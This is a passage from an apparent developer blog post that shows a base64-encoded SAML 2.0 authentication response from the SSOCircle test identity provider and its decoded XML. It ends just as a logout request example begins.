<div class="codecolorer-container text blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br />56<br />57<br />58<br />59<br />60<br />61<br /></div></td><td><div class="text codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6<br />
cHJvdG9jb2wiIElEPSJzMmY5ODM3OWIwODNmODMxN2Y2MTQzOGNkM2JkMjZmNTk2MmE0MjUyNzMi<br />
IEluUmVzcG9uc2VUbz0iNGI4Y2QwYTJlMGY0Y2UzOTMyYTVlNWI3YmFkYTIyZjdkNzNiN2VkNWVj<br />
IiBWZXJzaW9uPSIyLjAiIElzc3VlSW5zdGFudD0iMjAxMC0wNC0wOFQxMzo0NDo1NVoiIERlc3Rp<br />
bmF0aW9uPSJodHRwOi8vc2FtbDIwc3AuYWJpbGl0eXdlYi51cy9zcGRiZy9zcC5waHAiPjxzYW1s<br />
Oklzc3VlciB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9u<br />
Ij5odHRwOi8vaWRwLnNzb2NpcmNsZS5jb208L3NhbWw6SXNzdWVyPjxzYW1scDpTdGF0dXMgeG1s<br />
bnM6c2FtbHA9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpwcm90b2NvbCI+CjxzYW1scDpT<br />
dGF0dXNDb2RlICB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3Rv<br />
Y29sIgpWYWx1ZT0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnN0YXR1czpTdWNjZXNzIj4K<br />
PC9zYW1scDpTdGF0dXNDb2RlPgo8L3NhbWxwOlN0YXR1cz48c2FtbDpBc3NlcnRpb24geG1sbnM6<br />
c2FtbD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiIgSUQ9InMyZWQwMmVk<br />
NDM3NDIyNGMxZTI2ODRiYTFkOGJlY2EwYjAwZTE5NzA4OCIgSXNzdWVJbnN0YW50PSIyMDEwLTA0<br />
LTA4VDEzOjQ0OjU1WiIgVmVyc2lvbj0iMi4wIj4KPHNhbWw6SXNzdWVyPmh0dHA6Ly9pZHAuc3Nv<br />
Y2lyY2xlLmNvbTwvc2FtbDpJc3N1ZXI+PFNpZ25hdHVyZSB4bWxucz0iaHR0cDovL3d3dy53My5v<br />
cmcvMjAwMC8wOS94bWxkc2lnIyI+CjxTaWduZWRJbmZvPgo8Q2Fub25pY2FsaXphdGlvbk1ldGhv<br />
ZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMTAveG1sLWV4Yy1jMTRuIyIvPgo8<br />
U2lnbmF0dXJlTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxk<br />
c2lnI3JzYS1zaGExIi8+CjxSZWZlcmVuY2UgVVJJPSIjczJlZDAyZWQ0Mzc0MjI0YzFlMjY4NGJh<br />
MWQ4YmVjYTBiMDBlMTk3MDg4Ij4KPFRyYW5zZm9ybXM+CjxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJo<br />
dHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIvPgo8<br />
VHJhbnNmb3JtIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMx<br />
NG4jIi8+CjwvVHJhbnNmb3Jtcz4KPERpZ2VzdE1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cu<br />
dzMub3JnLzIwMDAvMDkveG1sZHNpZyNzaGExIi8+CjxEaWdlc3RWYWx1ZT5GVjZOSEZ1RGJhcUN3<br />
S0xUWS9jS2xKbzI1a3c9PC9EaWdlc3RWYWx1ZT4KPC9SZWZlcmVuY2U+CjwvU2lnbmVkSW5mbz4K<br />
PFNpZ25hdHVyZVZhbHVlPgpoS005ZnZkNDQ5UzM5ekNzeElRTU9KOGZQMDZ3OWtQN2tpa2xqdk1w<br />
RzVKd1BObUp5OUZweWJVM3k4NFd5VlkzMHVSVGRZaGVhUnA1CmdhQ3JLZHdjTGFiVjI1TjIzZzM5<br />
ZkZIc2FsdHlyU1k1VUJ3NE5jRm5rZHFndmZPaEJxT2NVcG9VY21jYXhrNUNuMktKanVNei9qWnAK<br />
OXFYR1RnS3NqTmo1YlZsc2FTYz0KPC9TaWduYXR1cmVWYWx1ZT4KPEtleUluZm8+CjxYNTA5RGF0<br />
YT4KPFg1MDlDZXJ0aWZpY2F0ZT4KTUlJQjhUQ0NBVnFnQXdJQkFnSUZBSXh3Wm5Jd0RRWUpLb1pJ<br />
aHZjTkFRRUVCUUF3TGpFTE1Ba0dBMVVFQmhNQ1JFVXhFakFRQmdOVgpCQW9UQ1ZOVFQwTnBjbU5z<br />
WlRFTE1Ba0dBMVVFQXhNQ1EwRXdIaGNOTURrd01qSXlNVFV3TkRJMFdoY05NVEV3TlRJeU1UVXdO<br />
REkwCldqQkxNUXN3Q1FZRFZRUUdFd0pFUlRFU01CQUdBMVVFQ2hNSlUxTlBRMmx5WTJ4bE1Rd3dD<br />
Z1lEVlFRTEV3TnBaSEF4R2pBWUJnTlYKQkFNVEVXbGtjQzV6YzI5amFYSmpiR1V1WTI5dE1JR2ZN<br />
QTBHQ1NxR1NJYjNEUUVCQVFVQUE0R05BRENCaVFLQmdRQ2J6RFJrdWRDLwphQzJnTXFSVlZhTGRQ<br />
SkpFd3BGQjRvNzFmUjVibk5kMm9jbm5OekovVzlDb0Nhcmd6S3grRUo0Tm0zdldtWC9JWlJDRnZy<br />
dnk5Qzc4CmZQMWNtdDZTYTA5MUs5bHVhTUF5V243b0M4aC9ZQlhIN3JCNDJ0ZHZXTFk0S2w5Vkp5<br />
NlVDY2x2YXN5cmZLeCtTUjRLVTZ6Q3NNNjIKMkt2cDV3VzY3UUlEQVFBQk1BMEdDU3FHU0liM0RR<br />
RUJCQVVBQTRHQkFHeWF5ZGZKSERrbTc3QzM5Z3E5YkJiN09xSzhPWEVVVGJJTQpwOFBESlp6SWY5<br />
UWtwa0U3Z0hHY1djdFJLaTdmTmRPTnVsYzVrbjJLMm5idkNHcmJXc1dRdnIvREEwYmprQnJLOE9l<br />
V3BSaExlN2ZsCitKVWdzRXJNY0RJelJUbWpOcFp6VVpwK1dFU1JIVjFqM1NJY2ZZNHRKTTJ1TXQ0<br />
U2MvYWZWbmw1UDZ3TAo8L1g1MDlDZXJ0aWZpY2F0ZT4KPC9YNTA5RGF0YT4KPC9LZXlJbmZvPgo8<br />
L1NpZ25hdHVyZT48c2FtbDpTdWJqZWN0Pgo8c2FtbDpOYW1lSUQgRm9ybWF0PSJ1cm46b2FzaXM6<br />
bmFtZXM6dGM6U0FNTDoyLjA6bmFtZWlkLWZvcm1hdDpwZXJzaXN0ZW50IiBOYW1lUXVhbGlmaWVy<br />
PSJodHRwOi8vaWRwLnNzb2NpcmNsZS5jb20iIFNQTmFtZVF1YWxpZmllcj0iaHR0cDovL3NhbWwy<br />
MHNwLmFiaWxpdHl3ZWIudXMiPlhZYTdpekdxdDcwUlJ1UlRzVytUbjZ5TXNtdU48L3NhbWw6TmFt<br />
ZUlEPjxzYW1sOlN1YmplY3RDb25maXJtYXRpb24gTWV0aG9kPSJ1cm46b2FzaXM6bmFtZXM6dGM6<br />
U0FNTDoyLjA6Y206YmVhcmVyIj4KPHNhbWw6U3ViamVjdENvbmZpcm1hdGlvbkRhdGEgSW5SZXNw<br />
b25zZVRvPSI0YjhjZDBhMmUwZjRjZTM5MzJhNWU1YjdiYWRhMjJmN2Q3M2I3ZWQ1ZWMiIE5vdE9u<br />
T3JBZnRlcj0iMjAxMC0wNC0wOFQxMzo1NDo1NVoiIFJlY2lwaWVudD0iaHR0cDovL3NhbWwyMHNw<br />
LmFiaWxpdHl3ZWIudXMvc3BkYmcvc3AucGhwIi8+PC9zYW1sOlN1YmplY3RDb25maXJtYXRpb24+<br />
Cjwvc2FtbDpTdWJqZWN0PjxzYW1sOkNvbmRpdGlvbnMgTm90QmVmb3JlPSIyMDEwLTA0LTA4VDEz<br />
OjM0OjU1WiIgTm90T25PckFmdGVyPSIyMDEwLTA0LTA4VDEzOjU0OjU1WiI+CjxzYW1sOkF1ZGll<br />
bmNlUmVzdHJpY3Rpb24+CjxzYW1sOkF1ZGllbmNlPmh0dHA6Ly9zYW1sMjBzcC5hYmlsaXR5d2Vi<br />
LnVzPC9zYW1sOkF1ZGllbmNlPgo8L3NhbWw6QXVkaWVuY2VSZXN0cmljdGlvbj4KPC9zYW1sOkNv<br />
bmRpdGlvbnM+CjxzYW1sOkF1dGhuU3RhdGVtZW50IEF1dGhuSW5zdGFudD0iMjAxMC0wNC0wOFQx<br />
Mzo0NDo1NFoiIFNlc3Npb25JbmRleD0iczJhOWZiN2FkNjIzYzZhYTJmYjVkNjU3ZjE1YTgwNTVh<br />
OGJiZTRlMDA0Ij48c2FtbDpBdXRobkNvbnRleHQ+PHNhbWw6QXV0aG5Db250ZXh0Q2xhc3NSZWY+<br />
dXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFjOmNsYXNzZXM6UGFzc3dvcmRQcm90ZWN0ZWRU<br />
cmFuc3BvcnQ8L3NhbWw6QXV0aG5Db250ZXh0Q2xhc3NSZWY+PC9zYW1sOkF1dGhuQ29udGV4dD48<br />
L3NhbWw6QXV0aG5TdGF0ZW1lbnQ+PC9zYW1sOkFzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPg==</div></td></tr></tbody></table></div>
<p>The string is decoded by the service provider into the following:</p>
<div class="codecolorer-container xml blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br />56<br />57<br />58<br />59<br />60<br />61<br />62<br />63<br />64<br />65<br />66<br />67<br />68<br />69<br />70<br />71<br />72<br />73<br /></div></td><td><div class="xml codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;samlp:Response</span> <span style="color: #000066;">xmlns:samlp</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;</span></span><br />
<span style="color: #009900;">&nbsp; <span style="color: #000066;">ID</span>=<span style="color: #ff0000;">&quot;s2f98379b083f8317f61438cd3bd26f5962a425273&quot;</span> <span style="color: #000066;">InResponseTo</span>=<span style="color: #ff0000;">&quot;4b8cd0a2e0f4ce3932a5e5b7bada22f7d73b7ed5ec&quot;</span></span><br />
<span style="color: #009900;">&nbsp; <span style="color: #000066;">Version</span>=<span style="color: #ff0000;">&quot;2.0&quot;</span> <span style="color: #000066;">IssueInstant</span>=<span style="color: #ff0000;">&quot;2010-04-08T13:44:55Z&quot;</span> <span style="color: #000066;">Destination</span>=<span style="color: #ff0000;">&quot;http://saml20sp.abilityweb.us/spdbg/sp.php&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:Issuer</span> <span style="color: #000066;">xmlns:saml</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>http://idp.ssocircle.com<br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/saml:Issuer<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;samlp:Status</span> <span style="color: #000066;">xmlns:samlp</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;samlp:StatusCode</span> <span style="color: #000066;">xmlns:samlp</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;</span></span><br />
<span style="color: #009900;">&nbsp; &nbsp; &nbsp; <span style="color: #000066;">Value</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:status:Success&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/samlp:StatusCode<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/samlp:Status<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:Assertion</span> <span style="color: #000066;">xmlns:saml</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;</span></span><br />
<span style="color: #009900;">&nbsp; &nbsp; <span style="color: #000066;">ID</span>=<span style="color: #ff0000;">&quot;s2ed02ed4374224c1e2684ba1d8beca0b00e197088&quot;</span> <span style="color: #000066;">IssueInstant</span>=<span style="color: #ff0000;">&quot;2010-04-08T13:44:55Z&quot;</span></span><br />
<span style="color: #009900;">&nbsp; &nbsp; <span style="color: #000066;">Version</span>=<span style="color: #ff0000;">&quot;2.0&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:Issuer<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>http://idp.ssocircle.com<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/saml:Issuer<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;Signature</span> <span style="color: #000066;">xmlns</span>=<span style="color: #ff0000;">&quot;http://www.w3.org/2000/09/xmldsig#&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;SignedInfo<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;CanonicalizationMethod</span> <span style="color: #000066;">Algorithm</span>=<span style="color: #ff0000;">&quot;http://www.w3.org/2001/10/xml-exc-c14n#&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;SignatureMethod</span> <span style="color: #000066;">Algorithm</span>=<span style="color: #ff0000;">&quot;http://www.w3.org/2000/09/xmldsig#rsa-sha1&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;Reference</span> <span style="color: #000066;">URI</span>=<span style="color: #ff0000;">&quot;#s2ed02ed4374224c1e2684ba1d8beca0b00e197088&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;Transforms<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;Transform</span> <span style="color: #000066;">Algorithm</span>=<span style="color: #ff0000;">&quot;http://www.w3.org/2000/09/xmldsig#enveloped-signature&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;Transform</span> <span style="color: #000066;">Algorithm</span>=<span style="color: #ff0000;">&quot;http://www.w3.org/2001/10/xml-exc-c14n#&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/Transforms<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;DigestMethod</span> <span style="color: #000066;">Algorithm</span>=<span style="color: #ff0000;">&quot;http://www.w3.org/2000/09/xmldsig#sha1&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;DigestValue<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>FV6NHFuDbaqCwKLTY/cKlJo25kw=<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/DigestValue<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/Reference<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/SignedInfo<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;SignatureValue<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; hKM9fvd449S39zCsxIQMOJ8fP06w9kP7kikljvMpG5JwPNmJy9FpybU3y84WyVY30uRTdYheaRp5<br />
&nbsp; &nbsp; &nbsp; &nbsp; gaCrKdwcLabV25N23g39fFHsaltyrSY5UBw4NcFnkdqgvfOhBqOcUpoUcmcaxk5Cn2KJjuMz/jZp<br />
&nbsp; &nbsp; &nbsp; &nbsp; 9qXGTgKsjNj5bVlsaSc=<br />
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/SignatureValue<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;KeyInfo<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;X509Data<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;X509Certificate<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MIIB8TCCAVqgAwIBAgIFAIxwZnIwDQYJKoZIhvcNAQEEBQAwLjELMAkGA1UEBhMCREUxEjAQBgNV<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BAoTCVNTT0NpcmNsZTELMAkGA1UEAxMCQ0EwHhcNMDkwMjIyMTUwNDI0WhcNMTEwNTIyMTUwNDI0<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WjBLMQswCQYDVQQGEwJERTESMBAGA1UEChMJU1NPQ2lyY2xlMQwwCgYDVQQLEwNpZHAxGjAYBgNV<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BAMTEWlkcC5zc29jaXJjbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCbzDRkudC/<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aC2gMqRVVaLdPJJEwpFB4o71fR5bnNd2ocnnNzJ/W9CoCargzKx+EJ4Nm3vWmX/IZRCFvrvy9C78<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fP1cmt6Sa091K9luaMAyWn7oC8h/YBXH7rB42tdvWLY4Kl9VJy6UCclvasyrfKx+SR4KU6zCsM62<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2Kvp5wW67QIDAQABMA0GCSqGSIb3DQEBBAUAA4GBAGyaydfJHDkm77C39gq9bBb7OqK8OXEUTbIM<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p8PDJZzIf9QkpkE7gHGcWctRKi7fNdONulc5kn2K2nbvCGrbWsWQvr/DA0bjkBrK8OeWpRhLe7fl<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; +JUgsErMcDIzRTmjNpZzUZp+WESRHV1j3SIcfY4tJM2uMt4Sc/afVnl5P6wL<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/X509Certificate<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/X509Data<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/KeyInfo<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/Signature<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:Subject<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:NameID</span> <span style="color: #000066;">Format</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:nameid-format:persistent&quot;</span></span><br />
<span style="color: #009900;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066;">NameQualifier</span>=<span style="color: #ff0000;">&quot;http://idp.ssocircle.com&quot;</span> <span style="color: #000066;">SPNameQualifier</span>=<span style="color: #ff0000;">&quot;http://saml20sp.abilityweb.us&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>XYa7izGqt70RRuRTsW+Tn6yMsmuN<br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/saml:NameID<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:SubjectConfirmation</span> <span style="color: #000066;">Method</span>=<span style="color: #ff0000;">&quot;urn:oasis:names:tc:SAML:2.0:cm:bearer&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:SubjectConfirmationData</span></span><br />
<span style="color: #009900;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066;">InResponseTo</span>=<span style="color: #ff0000;">&quot;4b8cd0a2e0f4ce3932a5e5b7bada22f7d73b7ed5ec&quot;</span></span><br />
<span style="color: #009900;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000066;">NotOnOrAfter</span>=<span style="color: #ff0000;">&quot;2010-04-08T13:54:55Z&quot;</span> <span style="color: #000066;">Recipient</span>=<span style="color: #ff0000;">&quot;http://saml20sp.abilityweb.us/spdbg/sp.php&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/saml:SubjectConfirmation<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/saml:Subject<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:Conditions</span> <span style="color: #000066;">NotBefore</span>=<span style="color: #ff0000;">&quot;2010-04-08T13:34:55Z&quot;</span></span><br />
<span style="color: #009900;">&nbsp; &nbsp; &nbsp; <span style="color: #000066;">NotOnOrAfter</span>=<span style="color: #ff0000;">&quot;2010-04-08T13:54:55Z&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:AudienceRestriction<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:Audience<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>http://saml20sp.abilityweb.us<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/saml:Audience<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/saml:AudienceRestriction<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/saml:Conditions<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:AuthnStatement</span> <span style="color: #000066;">AuthnInstant</span>=<span style="color: #ff0000;">&quot;2010-04-08T13:44:54Z&quot;</span></span><br />
<span style="color: #009900;">&nbsp; &nbsp; &nbsp; <span style="color: #000066;">SessionIndex</span>=<span style="color: #ff0000;">&quot;s2a9fb7ad623c6aa2fb5d657f15a8055a8bbe4e004&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:AuthnContext<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;saml:AuthnContextClassRef<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/saml:AuthnContextClassRef<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/saml:AuthnContext<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; &nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/saml:AuthnStatement<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
&nbsp; <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/saml:Assertion<span style="color: #000000; font-weight: bold;">&gt;</span></span></span><br />
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/samlp:Response<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></div></td></tr></tbody></table></div>
<p>When the user wants to logout, I generate the following:</p>
<div class="codecolorer-container xml blackboard" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br /></div></td><td><div class="xml codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;samlp:LogoutRequest</span> <span style="color: #000066;">xmlns:samlp</span>=<span style="color: 